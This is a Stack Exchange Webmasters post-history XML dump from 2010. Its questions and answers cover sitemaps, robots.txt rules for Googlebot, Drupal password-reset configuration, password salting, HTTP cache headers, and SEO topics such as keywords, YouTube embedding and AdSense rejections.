  <row Id="6586" PostHistoryTypeId="2" PostId="3356" RevisionGUID="3e46e84c-1af7-41ea-9162-f4e035b80dbd" CreationDate="2010-09-28T18:49:09.243" UserId="70" Text="Ideally you should submit a sitemap each time there is an update regarding any page of your site, no matter its size, see section *Submitting your Sitemap via an HTTP request*  within [Informing search engine crawlers][1] for the best method to achieve this: a site with a size like this one will likely be served via a Content Management System and any decent CMS should offer do do this automatically for you (at least via a respective plugin or so).&#xD;&#xA;&#xD;&#xA;Pinging Google like this about any change as it happens allows Google to determine when to actually download the sitemap thereafter (usually very fast).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitemaps.org/protocol.php#informing" />
  <row Id="6587" PostHistoryTypeId="2" PostId="3357" RevisionGUID="4a5e7480-9bea-4bf5-a015-6b4da0fb3ae5" CreationDate="2010-09-28T19:10:37.767" UserId="70" Text="John Conde [already explained][1] that your current solution won't work (+1), as Googlebot will only evaluate the rules after being redirected already and respect `Disallow: /`accordingly.&#xD;&#xA;&#xD;&#xA;However, for Googlebot specifically you can facilitate its extensions to the official robots.txt protocol (see section *Pattern matching* within [Block or remove pages using a robots.txt file][2]), like so:&#xD;&#xA;&#xD;&#xA;    User-agent: Googlebot&#xD;&#xA;    Allow: /$&#xD;&#xA;    Disallow: /&#xD;&#xA;&#xD;&#xA;The `$`character is matching the end of a URL, so the `Allow: /$` directive will allow any URL that begins with your domain name, followed by nothing).&#xD;&#xA;&#xD;&#xA;The `Disallow: /` directive will block everything else as usual thereafter.&#xD;&#xA;&#xD;&#xA;I've just tested this successfully with the robots.txt test tool in [Google webmaster tools][3] (available there via *Crawler access* under *Site configuration*), so you could confirm this yourself immediately - looking into this invaluable selection of tools/information related to SEO in general and Google in particular is highly recommended anyway!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: #3332&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=156449&#xD;&#xA;  [3]: http://www.google.com/url?sa=t&amp;source=web&amp;cd=1&amp;ved=0CB8QFjAA&amp;url=http%3A%2F%2Fwww.google.com%2Fwebmasters%2Ftools%2F&amp;ei=2jyiTIG7N5CSswabs-SJBQ&amp;usg=AFQjCNHzw4v7cHMZ9WeuuM4BZp6bSIyNlw&amp;sig2=RD2ZTDdrmTiDonfixE5leA" />
  <row Id="6588" PostHistoryTypeId="2" PostId="3358" RevisionGUID="0c830fae-9d91-4a29-a53c-8b53087ed0c9" CreationDate="2010-09-28T19:44:23.327" UserId="70" Text="Regarding your main question I'd second the first paragraph of [bpeterson76s answer][1] (+1). For adding multiple pages you should be aware of the following limits recently outlined in [Cool Tips And Hot Tricks For The New Bing Webmaster Tools, Part 2][2] as well though:&#xD;&#xA;&gt; As with the Recrawl URLs feature mentioned in the Part 1 post, the Submit URLs feature is not limitless. Bing does set quota limits on the number of URLs that can be added and/or recrawled (both apply to the same quota). You can submit up to 10 URLs per day and up to 50 per month. The quotas are in effect for entire domains. Multiple webmaster accounts for the same domain cannot combine their quotas to get more URL submissions. Bing also disallows submitting redirected pages to a site already at full quota.&#xD;&#xA;&#xD;&#xA;&gt; Also, note that the daily quota limit resets after midnight GMT, at which point you can resume adding more URLs (provided you have enough monthly quota left).&#xD;&#xA;&#xD;&#xA;This might obviously have a drastic impact on the results you can expect from this manual URL submission (which I personally consider more of a band aid for small and/or manually maintained sites therefore and would definite go the [automated sitemap submission][3] route as soon as possible myself).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: #3348&#xD;&#xA;  [2]: http://www.bing.com/community/blogs/webmaster/archive/2010/08/10/cool-tips-and-hot-tricks-for-the-new-bing-webmaster-tools-part-2.aspx&#xD;&#xA;  [3]: http://webmasters.stackexchange.com/questions/3354/how-often-should-one-submit-a-site-map-to-google-for-a-site-similar-to-this/3356#3356" />
  <row Id="6589" PostHistoryTypeId="5" PostId="3358" RevisionGUID="fc89c06a-59d4-4e3b-85bb-b2485fd26446" CreationDate="2010-09-28T19:55:52.417" UserId="70" Comment="Added link to alternative answer regarding sitemap/feed generation/submission.; added 2 characters in body" Text="Regarding your main question I'd second the first paragraph of [bpeterson76s answer][1] (+1). For adding multiple pages you should be aware of the following limits recently outlined in [Cool Tips And Hot Tricks For The New Bing Webmaster Tools, Part 2][2] as well though:&#xD;&#xA;&gt; As with the Recrawl URLs feature mentioned in the Part 1 post, the Submit URLs feature is not limitless. Bing does set quota limits on the number of URLs that can be added and/or recrawled (both apply to the same quota). You can submit up to 10 URLs per day and up to 50 per month. The quotas are in effect for entire domains. Multiple webmaster accounts for the same domain cannot combine their quotas to get more URL submissions. Bing also disallows submitting redirected pages to a site already at full quota.&#xD;&#xA;&#xD;&#xA;&gt; Also, note that the daily quota limit resets after midnight GMT, at which point you can resume adding more URLs (provided you have enough monthly quota left).&#xD;&#xA;&#xD;&#xA;This might obviously have a drastic impact on the results you can expect from this manual URL submission (which I personally consider more of a band aid for small and/or manually maintained sites therefore: I would definitely go the route of automating the generation and submission of a [dedicated sitemap][3] - or [RSS feed][4] for that matter ;) - as soon as possible myself).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: #3348&#xD;&#xA;  [2]: http://www.bing.com/community/blogs/webmaster/archive/2010/08/10/cool-tips-and-hot-tricks-for-the-new-bing-webmaster-tools-part-2.aspx&#xD;&#xA;  [3]: http://webmasters.stackexchange.com/questions/3354/how-often-should-one-submit-a-site-map-to-google-for-a-site-similar-to-this/3356#3356&#xD;&#xA;  [4]: http://webmasters.stackexchange.com/questions/116/sitemaps-html-and-others/1442#1442" />
  <row Id="6590" PostHistoryTypeId="2" PostId="3359" RevisionGUID="0f570c2d-3fc2-4b7c-8970-962aa3c8ca1f" CreationDate="2010-09-28T20:41:06.547" UserId="2103" Text="I just read this question and it reminded me of a question I posted on SO about a year ago: [Comprehensive information about hash salts][1].  You might be interested in reading over the question and answers as it has some other information which could be very useful to anyone interested in learning a bit more about hashes.&#xD;&#xA;&#xD;&#xA;I should also note that implementing user authentication in general is not something which you really want to tackle on your own if you can avoid it. Always remember [Don't Reinvent The Wheel, Unless You Plan on Learning More About Wheels][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/1745114/comprehensive-information-about-hash-salts&#xD;&#xA;  [2]: http://www.codinghorror.com/blog/2009/02/dont-reinvent-the-wheel-unless-you-plan-on-learning-more-about-wheels.html" />
  <row Id="6591" PostHistoryTypeId="5" PostId="3357" RevisionGUID="569f2cfc-6b99-4856-aa40-bb654dec113c" CreationDate="2010-09-28T20:50:49.213" UserId="70" Comment="Fixed typo, adjusted phrasing.; added 9 characters in body" Text="John Conde [already explained][1] that your current solution won't work (+1), as Googlebot will only evaluate the rules after being redirected already and obey `Disallow: /`accordingly to block all URLs including your root/main page thereafter.&#xD;&#xA;&#xD;&#xA;However, for Googlebot specifically you can facilitate its extensions to the official robots.txt protocol (see section *Pattern matching* within [Block or remove pages using a robots.txt file][2]), like so:&#xD;&#xA;&#xD;&#xA;    User-agent: Googlebot&#xD;&#xA;    Allow: /$&#xD;&#xA;    Disallow: /&#xD;&#xA;&#xD;&#xA;The `$`character is matching the end of a URL, so the `Allow: /$` directive will allow any URL that begins with your domain name, followed by nothing, i.e. allow your root/main page *after* being redirected from index.php already.&#xD;&#xA;&#xD;&#xA;The `Disallow: /` directive will block all other URLs as usual thereafter.&#xD;&#xA;&#xD;&#xA;I've just tested this successfully with the robots.txt test tool in [Google webmaster tools][3] (available there via *Crawler access* under *Site configuration*), so you could confirm this yourself immediately likewise - looking into this invaluable selection of tools/information related to SEO in general and Google in particular is highly recommended anyway!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: #3332&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=156449&#xD;&#xA;  [3]: http://www.google.com/url?sa=t&amp;source=web&amp;cd=1&amp;ved=0CB8QFjAA&amp;url=http%3A%2F%2Fwww.google.com%2Fwebmasters%2Ftools%2F&amp;ei=2jyiTIG7N5CSswabs-SJBQ&amp;usg=AFQjCNHzw4v7cHMZ9WeuuM4BZp6bSIyNlw&amp;sig2=RD2ZTDdrmTiDonfixE5leA" />
  <row Id="6592" PostHistoryTypeId="2" PostId="3360" RevisionGUID="b541bd7c-1058-4e18-90f5-7fb8d0baeb71" CreationDate="2010-09-28T20:56:06.107" UserId="2102" Text="I have a website very similar to this that I made from scratch.  It's called www.Citybeams.com.  I already have decent Google search engine results for a good amount of keywords and question titles. &quot;City Questions&quot; and &quot;City Answers&quot; page one Google for example. I was thinking of moving the whole site to a Pligg.com template still under the same domain am I'm wondering if that could hurt my search engine results?" />
  <row Id="6593" PostHistoryTypeId="1" PostId="3360" RevisionGUID="b541bd7c-1058-4e18-90f5-7fb8d0baeb71" CreationDate="2010-09-28T20:56:06.107" UserId="2102" Text="Does transfering an existing website similar to this to a Pligg Template hurt SEO results?" />
  <row Id="6594" PostHistoryTypeId="3" PostId="3360" RevisionGUID="b541bd7c-1058-4e18-90f5-7fb8d0baeb71" CreationDate="2010-09-28T20:56:06.107" UserId="2102" Text="&lt;seo&gt;" />
  <row Id="6598" PostHistoryTypeId="2" PostId="3362" RevisionGUID="e6e00871-e704-47ba-93c1-534531c5bc36" CreationDate="2010-09-28T21:14:03.213" UserId="2102" Text="Inbound links are one of the biggest things that Google looks at. Google treats a link like a vote, sites with the most &quot;votes&quot; have the highest placement.  Type the following into the Google search bar   link:www.yourdomainnamehere.com   example:  link:www.facebook.com   It will tell you how many inbound links pointing at your site Google recognizes.&#xD;&#xA;&#xD;&#xA;Find other sites with similar content and do link exchanges, it's a huge help for high placement.  " />
  <row Id="6599" PostHistoryTypeId="16" PostId="3362" RevisionGUID="e6e00871-e704-47ba-93c1-534531c5bc36" CreationDate="2010-09-28T21:14:03.213" UserId="-1" />
  <row Id="6601" PostHistoryTypeId="5" PostId="3311" RevisionGUID="c0fad8fa-59c3-4249-b0a4-3c7a2452b885" CreationDate="2010-09-28T22:13:11.703" UserId="1857" Comment="added 45 characters in body" Text="**I wrote an answer, then read a little more, and substatially edited my answer.** &#xD;&#xA;This question has already been debated on Stack Overflow. The [accepted answer on this question][1] is a good starting point, follow the links.&#xD;&#xA;&#xD;&#xA;My take is that:&#xD;&#xA;&#xD;&#xA;**The static salt (which you call global) is somewhat valuable because:**&#xD;&#xA;&#xD;&#xA; - It is simple to implement, and doesn't require a database lookup at runtime, i.e. it's easy to scale.&#xD;&#xA; - This salt is static, and can be stored as a global constant in the the application code, or read from an INI file. This way getting access to the database (SQL injection attack for example) does not necessarily reveal this salt.&#xD;&#xA;&#xD;&#xA;**The per-password salt is important because:**&#xD;&#xA;&#xD;&#xA; - It is a random string, unique for each password, generated on the server side, and stored in plain text in the database. For N passwords, this effectively makes the total search space for a [rainbow table][2] attach N x N. This cannot be effectively attacked by pre-computed rainbow tables today due to the sheer size of the dataset.&#xD;&#xA;&#xD;&#xA;Another useful tip that I learned from the Stack Overflow discussions is encrypting the *username* if possible. I hadn't actually thought of that, but it does of course make good sense in certain scenarios.&#xD;&#xA;&#xD;&#xA;**EDIT: Please do read the excellent article [&quot;Enough With The Rainbow Tables: What You Need To Know About Secure Password Schemes&quot;][3]. Most of what is said about password hashing is wrong, including the whole 'MD5/SHA256 with a salt' approach so often used.**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/1054022/best-way-to-store-password-in-database&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Rainbow_table&#xD;&#xA;  [3]: http://www.securityfocus.com/blogs/262" />
  <row Id="6602" PostHistoryTypeId="2" PostId="3363" RevisionGUID="06fa8816-4487-4222-b4f6-fd5baa3acd3a" CreationDate="2010-09-28T22:15:51.673" UserId="2105" Text="(I originally [asked this question in webapps.stackexchange.com][1].)&#xD;&#xA;&#xD;&#xA;By default, in Drupal, when we provide a &quot;set new password&quot; form, the form asks for either a site username or an email address. If the user provides either a username or email address associated with a valid account, they get an email (at that address) with a link that allows them to set a new password.&#xD;&#xA;&#xD;&#xA;We'd like to ensure that all of our users are using a current email address, and to that end we'd like to turn _off_ the ability to put in a username. When the user puts in a username, it may send a message to an old email address but return a &quot;We're sending you email&quot; to the user. If they put in an email address which we don't have, it gives them an error message, which alerts them to the fact that they haven't kept us up to date (and makes them get in touch with  us by email).&#xD;&#xA;&#xD;&#xA;Can we restrict that to only ask for email?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webapps.stackexchange.com/questions/7116/can-the-password-recovery-function-of-drupal-be-configured-to-only-ask-for-email" />
  <row Id="6603" PostHistoryTypeId="1" PostId="3363" RevisionGUID="06fa8816-4487-4222-b4f6-fd5baa3acd3a" CreationDate="2010-09-28T22:15:51.673" UserId="2105" Text="Can the password recovery function of Drupal be configured to only ask for email address?" />
  <row Id="6604" PostHistoryTypeId="3" PostId="3363" RevisionGUID="06fa8816-4487-4222-b4f6-fd5baa3acd3a" CreationDate="2010-09-28T22:15:51.673" UserId="2105" Text="&lt;drupal&gt;&lt;password&gt;" />
  <row Id="6605" PostHistoryTypeId="2" PostId="3364" RevisionGUID="fcc9f650-4ae9-4772-b69c-814e9280a790" CreationDate="2010-09-28T23:48:05.533" UserId="1253" Text="It depends. If the site is going to be exactly the same, just using a different domain name, and you use 301 redirects to redirect from the old UTLs to the new URLs, then you'll be fine. You probably will experience a slight &quot;hiccup&quot; while the search engines sort everything out, but in the end you should be fine.&#xD;&#xA;&#xD;&#xA;If you are changing the HTML and internal linking structure of the website in addition to using a new domain name, then you do risk losing your rankings. There are many factors in determining a page's rank and the changes you make *may* have a negative effect on your rankings. Nobody can say for sure because it would require an extensive review of the code and the internal linking structure of the old and new site just to get an idea of how different they are and if change seems to be for the better or worse.&#xD;&#xA;&#xD;&#xA;If you rank well for search terms that drive good traffic to your website, then making a change can be considered a bad risk to take. However, if making this change can mean more success for you in other ways then it may be worth the while." />
  <row Id="6606" PostHistoryTypeId="2" PostId="3365" RevisionGUID="c64cb405-c876-45d7-8b62-761eea9bbb67" CreationDate="2010-09-28T23:48:51.050" UserId="70" Text="If you are asking whether this can be configured in the administrative backend, then no, you cannot do this, the respective functionality is currently hard coded within [user_pass_validate()][1].&#xD;&#xA;&#xD;&#xA;However, you are probably aware already that one of Drupals strength is the relative ease in which it can be programmatically customized or extended via [modules][2]. I'm not aware of an existing one doing just this (though one might exist *eventually*, the respective list related to [User access/authentication][3] is pretty huge), but here is where a developer should start:&#xD;&#xA;&#xD;&#xA;* [Customizing and Overriding User Login page, Register, and Password Reset in Dru][4]pal 6&#xD;&#xA;&#xD;&#xA; * This deals with the UI side of things, i.e. following the explanation and providing alternate forms as desired (see [Form API Quickstart Guide][5]) would allow to remove the hint on entering the username already, though it *could* still be successfully entered for those in the know.&#xD;&#xA;&#xD;&#xA;* To actually *turn off the ability to put in a username* one would need to work around this by suppressing the username reaching the currently hard coded functionality within [user_pass_validate()][1] in the first place, which could be achieved by validating the submitted text to be an email address during form submission for example (see section *Validating Forms* within [Form API Quickstart Guide][5] for a starting point).&#xD;&#xA;&#xD;&#xA;For a more detailed answer (i.e. a usable implementation, if you are lucky) I need to refer you again to yet another Stack Exchange site: you might ask for this via the [Drupal tag][6] on Stack Overflow ;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://api.drupal.org/api/function/user_pass_validate/6&#xD;&#xA;  [2]: http://drupal.org/project/modules&#xD;&#xA;  [3]: http://drupal.org/project/modules?filters=tid%3A74%20drupal_core%3A87&amp;solrsort=sis_project_release_usage%20desc&#xD;&#xA;  [4]: http://drupal.org/node/350634&#xD;&#xA;  [5]: http://drupal.org/node/751826&#xD;&#xA;  [6]: http://stackoverflow.com/questions/tagged/drupal" />
  <row Id="6607" PostHistoryTypeId="5" PostId="3365" RevisionGUID="4697775f-629b-473e-af39-311112edffc0" CreationDate="2010-09-28T23:59:36.443" UserId="70" Comment="Replaced/Fixed misleading phrasing regarding custom form validation.; added 91 characters in body; added 3 characters in body" Text="If you are asking whether this can be configured in the administrative backend, then no, you cannot do this, the respective functionality is currently hard coded within [user_pass_validate()][1].&#xD;&#xA;&#xD;&#xA;However, you are probably aware already that one of Drupals strength is the relative ease in which it can be programmatically customized or extended via [modules][2]. I'm not aware of an existing one doing just this (though one might exist *eventually*, the respective list related to [User access/authentication][3] is pretty huge), but here is where a developer should start:&#xD;&#xA;&#xD;&#xA;* [Customizing and Overriding User Login page, Register, and Password Reset in Dru][4]pal 6&#xD;&#xA;&#xD;&#xA; * This deals with the UI side of things, i.e. following the explanation and providing alternate forms as desired (see [Form API Quickstart Guide][5]) would allow to remove the hint on entering the username already, though it *could* still be successfully entered for those in the know.&#xD;&#xA;&#xD;&#xA;* To actually *turn off the ability to put in a username* one would need to override the existing form validation function [user_pass_validate()][1] with a custom version that simply skips the respective check, i.e. remove the code which tries to load the account by name (see section *Validating Forms* within [Form API Quickstart Guide][5] for a starting point).&#xD;&#xA;&#xD;&#xA;For a more detailed answer (i.e. a usable implementation, if you are lucky) I need to refer you again to yet another Stack Exchange site: you might ask for this via the [Drupal tag][6] on Stack Overflow ;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://api.drupal.org/api/function/user_pass_validate/6&#xD;&#xA;  [2]: http://drupal.org/project/modules&#xD;&#xA;  [3]: http://drupal.org/project/modules?filters=tid%3A74%20drupal_core%3A87&amp;solrsort=sis_project_release_usage%20desc&#xD;&#xA;  [4]: http://drupal.org/node/350634&#xD;&#xA;  [5]: http://drupal.org/node/751826&#xD;&#xA;  [6]: http://stackoverflow.com/questions/tagged/drupal&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6608" PostHistoryTypeId="5" PostId="3365" RevisionGUID="004a30a9-63e4-4ffa-a8e5-5407998a6b2c" CreationDate="2010-09-29T00:14:36.763" UserId="70" Comment="Replaced bulleted with numbered list." Text="If you are asking whether this can be configured in the administrative backend, then no, you cannot do this, the respective functionality is currently hard coded within [user_pass_validate()][1].&#xD;&#xA;&#xD;&#xA;However, you are probably aware already that one of Drupals strength is the relative ease in which it can be programmatically customized or extended via [modules][2]. I'm not aware of an existing one doing just this (though one might exist *eventually*, the respective list related to [User access/authentication][3] is pretty huge), but here is what a developer could do:&#xD;&#xA;&#xD;&#xA;1. [Customizing and Overriding User Login page, Register, and Password Reset in Dru][4]pal 6&#xD;&#xA;&#xD;&#xA; * This deals with the UI side of things, i.e. following the explanation and providing alternate forms as desired (see [Form API Quickstart Guide][5]) would allow to remove the hint on entering the username already, though it *could* still be successfully entered for those in the know.&#xD;&#xA;&#xD;&#xA;2. To actually *turn off the ability to put in a username* one would need to override the existing form validation function [user_pass_validate()][1] with a custom copy that simply skips the respective check, i.e. remove the code which tries to load the account by name (see section *Validating Forms* within [Form API Quickstart Guide][5] for a starting point).&#xD;&#xA;&#xD;&#xA;For a more detailed answer (i.e. a usable implementation, if you are lucky) I need to refer you again to yet another Stack Exchange site: you might ask for this via the [Drupal tag][6] on Stack Overflow ;)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://api.drupal.org/api/function/user_pass_validate/6&#xD;&#xA;  [2]: http://drupal.org/project/modules&#xD;&#xA;  [3]: http://drupal.org/project/modules?filters=tid%3A74%20drupal_core%3A87&amp;solrsort=sis_project_release_usage%20desc&#xD;&#xA;  [4]: http://drupal.org/node/350634&#xD;&#xA;  [5]: http://drupal.org/node/751826&#xD;&#xA;  [6]: http://stackoverflow.com/questions/tagged/drupal&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6609" PostHistoryTypeId="2" PostId="3366" RevisionGUID="0b4e6b99-9609-4f36-bd17-5656461f1efc" CreationDate="2010-09-29T02:37:51.703" UserDisplayName="Wislow" Text="I have a website in which I update the content approximately once monthly.  When I check the HTTP request header fields, I get the following output:&#xD;&#xA;&#xD;&#xA;    Expires: Thu, 19 Nov 1981 08:52:00 GMT &#xD;&#xA;    Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 &#xD;&#xA;    Pragma: no-cache&#xD;&#xA;&#xD;&#xA;My question is, given the frequency at which I update content, I am thinking about manually setting these fields to allow cache of the site.  I am using the php header(); command to do so.  &#xD;&#xA;&#xD;&#xA;Therefore, my question is: what should my expires, cache-control, and pragma HTTP request header fields be set to?  Also, should I be setting any other fields in addition to those?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="6610" PostHistoryTypeId="1" PostId="3366" RevisionGUID="0b4e6b99-9609-4f36-bd17-5656461f1efc" CreationDate="2010-09-29T02:37:51.703" UserDisplayName="Wislow" Text="What should my expires, cache-control, and pragma HTTP request header fields be set to?" />
  <row Id="6611" PostHistoryTypeId="3" PostId="3366" RevisionGUID="0b4e6b99-9609-4f36-bd17-5656461f1efc" CreationDate="2010-09-29T02:37:51.703" UserDisplayName="Wislow" Text="&lt;http-headers&gt;" />
  <row Id="6612" PostHistoryTypeId="2" PostId="3367" RevisionGUID="cdd97d95-a956-44f9-9bca-59f85a456203" CreationDate="2010-09-29T03:58:06.337" UserId="2107" Text="I have a technical blog site at techaxe.com . I put up technical articles over there quite frequently. I applied for google adsense an got my application rejected twice. The issue reported both times was Unacceptable site content. I read the content policy by google and found nothing that would indicate that the content i have on my blog is unacceptable to them. Can some one please guide me as to what should be done so that i can get my adsense application accepted." />
  <row Id="6613" PostHistoryTypeId="1" PostId="3367" RevisionGUID="cdd97d95-a956-44f9-9bca-59f85a456203" CreationDate="2010-09-29T03:58:06.337" UserId="2107" Text="Application for google adsense rejected twice due to Unacceptable site content" />
  <row Id="6614" PostHistoryTypeId="3" PostId="3367" RevisionGUID="cdd97d95-a956-44f9-9bca-59f85a456203" CreationDate="2010-09-29T03:58:06.337" UserId="2107" Text="&lt;google-adsense&gt;" />
  <row Id="6615" PostHistoryTypeId="2" PostId="3368" RevisionGUID="3ecd49bd-a1a6-4fdd-be27-3958c67d11c9" CreationDate="2010-09-29T04:04:05.343" UserId="180" Text="As it stands, your cache settings don't appear to match your update cycle, so I think you're on the right track.  Adding indicators that allow your site to be cached by your end users and inline caches will improve your users' experience and has the potential to reduce your bandwidth and server load.&#xD;&#xA;&#xD;&#xA;What you set the above to depends on your tolerance for stale content.  I would recommend not setting Cache-Control or Pragma at all, and set Expires to some value that you are comfortable with (8 hours?  One day?) offset from the user's visit.  This is really subjective though and depends on your content.&#xD;&#xA;&#xD;&#xA;In addition to setting the above to some reasonable value you should also be setting a header like Last-Modified or ETag which allow for conditional HEAD requests and ensuring that you respond with a 304 and no content if the page isn't modified.  This can be based on a database date_modified field (if one exists) or for an ETag you could base it on a hash of the page contents.&#xD;&#xA;&#xD;&#xA;I personally take a couple approaches.  On static pages, I make my PHP output script write the output buffer into a cache directory, and have an Apache rewrite rule that serves from the static location if the file already exists.  Then in the cache directory, I enable caching and DEFLATE handling of the static HTML pages using more Apache directives.  The code for writing the output buffer is site-specific, but here is the mod-rewrite I use (in an .htaccess file in the articles subdirectory)&#xD;&#xA;&#xD;&#xA;&gt;RewriteEngine On  &#xD;&#xA;RewriteBase /articles/  &#xD;&#xA;RewriteCond %{DOCUMENT_ROOT}/cache%{REQUEST_URI} -f  &#xD;&#xA;RewriteRule .? /cache%{REQUEST_URI} [L]  &#xD;&#xA;&#xD;&#xA;This basically says that if the file exists in the cache then redirect to it and stop rewriting.&#xD;&#xA;&#xD;&#xA;Then in the cache directory, I have settings like:&#xD;&#xA;&#xD;&#xA;&gt; ExpiresActive On  &#xD;&#xA;ExpiresByType text/html &quot;access plus 1 day&quot;  &#xD;&#xA;AddOutputFilterByType DEFLATE text/html  &#xD;&#xA;&#xD;&#xA;And I combine this with code in my update area that deletes the content of `/htdocs/cache/articles` when modifying the site template or content of the articles.&#xD;&#xA;&#xD;&#xA;The beauty of this is that Apache takes care of all of the conditional requests and compression for me, and I'm not hitting PHP for each request.&#xD;&#xA;&#xD;&#xA;For dynamic PHP code, I use the following all-in-one library that handles GZip Compression, Expires, 304 If-Modified-Since responses, etc:&#xD;&#xA;&#xD;&#xA;http://alexandre.alapetite.fr/doc-alex/php-http-304/index.en.html&#xD;&#xA;&#xD;&#xA;You could even combine the two, modifying Alexandre's script to write the output buffer to the cache folder on the first render of static pages.&#xD;&#xA;" />
  <row Id="6616" PostHistoryTypeId="2" PostId="3369" RevisionGUID="0d008219-b1a3-467a-b7fd-c31c7e8c02e1" CreationDate="2010-09-29T04:25:58.337" UserDisplayName="Jeet" Text="I am planning to launch a website. However, it is still undecided as there are many keywords on google to begin with.&#xD;&#xA;&#xD;&#xA;My question is whether it is good to be a part of well established keyword with millions of search result already OR would it be good to be part of keyword who have search result less than 100 or none.&#xD;&#xA;&#xD;&#xA;Thanks and regards, Jeet." />
  <row Id="6617" PostHistoryTypeId="1" PostId="3369" RevisionGUID="0d008219-b1a3-467a-b7fd-c31c7e8c02e1" CreationDate="2010-09-29T04:25:58.337" UserDisplayName="Jeet" Text="Is it good to start a website with keyword very popular or not so popular?" />
  <row Id="6618" PostHistoryTypeId="3" PostId="3369" RevisionGUID="0d008219-b1a3-467a-b7fd-c31c7e8c02e1" CreationDate="2010-09-29T04:25:58.337" UserDisplayName="Jeet" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;google-webmaster-tools&gt;&lt;keywords&gt;" />
  <row Id="6619" PostHistoryTypeId="2" PostId="3370" RevisionGUID="e181c38a-42e6-4ec5-bbca-5c255bd3361a" CreationDate="2010-09-29T05:24:07.540" UserId="2110" Text="Looking to find a solid list of SEO benefits to using YouTube videos on my site vs. flash video or anything else for that matter? Clearly YouTube is owned by Google so that is a plus. YouTube is also a huge search engine in and of itself. YouTube also has built in features to help share it with others which could tie in... Thanks in advance for any thoughts on this!&#xD;&#xA;" />
  <row Id="6620" PostHistoryTypeId="1" PostId="3370" RevisionGUID="e181c38a-42e6-4ec5-bbca-5c255bd3361a" CreationDate="2010-09-29T05:24:07.540" UserId="2110" Text="Will embedding YouTube videos vs. Flash videos make a difference for SEO purposes?" />
  <row Id="6621" PostHistoryTypeId="3" PostId="3370" RevisionGUID="e181c38a-42e6-4ec5-bbca-5c255bd3361a" CreationDate="2010-09-29T05:24:07.540" UserId="2110" Text="&lt;seo&gt;" />
  <row Id="6622" PostHistoryTypeId="2" PostId="3371" RevisionGUID="f9535cea-196e-4d7f-a116-fed90f6f7438" CreationDate="2010-09-29T05:46:16.930" UserId="1064" Text="There are many good reasons to host your content at YouTube (chiefly, bandwidth costs and YouTube's high availability) and some drawbacks to be considered (it doesn't benefit you if your competitors' ads can appear in content accessed from your site) ...&#xD;&#xA;&#xD;&#xA;Search Engine Optimization, however, has traditionally been confined to proper server administration, text, and textual metadata with the goal of improved ranking in search results - though image search technologies (like tineye.com) now exist, I think it's safe to say that where your media files are hosted has far less to do with SEO than the text that appears adjacent to the media displayed on your site." />
  <row Id="6623" PostHistoryTypeId="2" PostId="3372" RevisionGUID="4f95a8a4-daa4-4f56-810d-dae56696a0c5" CreationDate="2010-09-29T05:56:43.350" UserId="1064" Text="&gt; I am planning to launch a website.&#xD;&#xA;&#xD;&#xA;Okay. What goal are you attempting to meet by having this website?&#xD;&#xA;&#xD;&#xA;Generally, keyword selection comes *after* you've decided what you're selling, which topic you're blogging about, et cetera.&#xD;&#xA;&#xD;&#xA;When it does come time to pick your keywords, you'll want to pick the keywords which are most specific to what your site is about (there's no sense trying to optimize for the word &quot;food&quot; if your site is about &quot;canned lutefisk&quot;, for example) and, amongst the terms which match what you offer, you'll want to pick the terms which get the most traffic (and, if you're selling something, the terms which result in the most purchases)." />
  <row Id="6624" PostHistoryTypeId="2" PostId="3373" RevisionGUID="b03cdeb7-e4f0-442f-a597-1503df655474" CreationDate="2010-09-29T06:32:50.417" UserId="2026" Text="As per your question, i predict, you are planning to open a blog. A blog has many posts. And every post can many keywords.&#xD;&#xA;&#xD;&#xA;If you write a post over well established keyword then of course it'll show that your site contents are upto date. And it may bring your site upward in latest news or blog search.&#xD;&#xA;&#xD;&#xA;If you write about the topics which are less popular then it might impact that you are having some unique posts. And ultimately it'll increase the traffic on your site.&#xD;&#xA;&#xD;&#xA;&gt; So i'll suggest you that you open a&#xD;&#xA;&gt; blog. And go for both." />
  <row Id="6625" PostHistoryTypeId="2" PostId="3374" RevisionGUID="9cf743be-5eed-46cf-88a3-c061656dec08" CreationDate="2010-09-29T06:47:14.530" UserId="2026" Text="@Bootcamp!!&#xD;&#xA;I searched over your site for keywords that might be banned. But i dint found anyone of them. &#xD;&#xA;&#xD;&#xA;Just check whether any post on your site contains same contents which are already published somewhere else.&#xD;&#xA;&#xD;&#xA;Do you have any image which conflict copyright issue&#xD;&#xA;&#xD;&#xA;I dint found any footer on your site contains copyright disclaimer. It might be because your site is not loaded successfully. And gave some error. you will found `--&gt;` some where on your site. Just check it against w3c compatibility." />
  <row Id="6628" PostHistoryTypeId="2" PostId="3377" RevisionGUID="e1c6a13f-9b02-478d-b004-07eaa2347db4" CreationDate="2010-09-29T09:51:11.390" UserDisplayName="larens" Text="Where can i find really large databases .sql files with  100's MB or a few GB text, 10.000.000 plus rows of text so I can test my sphinx search engine indexing" />
  <row Id="6629" PostHistoryTypeId="1" PostId="3377" RevisionGUID="e1c6a13f-9b02-478d-b004-07eaa2347db4" CreationDate="2010-09-29T09:51:11.390" UserDisplayName="larens" Text="large/huge example databases .sql files to download on the web?" />
  <row Id="6630" PostHistoryTypeId="3" PostId="3377" RevisionGUID="e1c6a13f-9b02-478d-b004-07eaa2347db4" CreationDate="2010-09-29T09:51:11.390" UserDisplayName="larens" Text="&lt;search-engines&gt;&lt;mysql&gt;" />
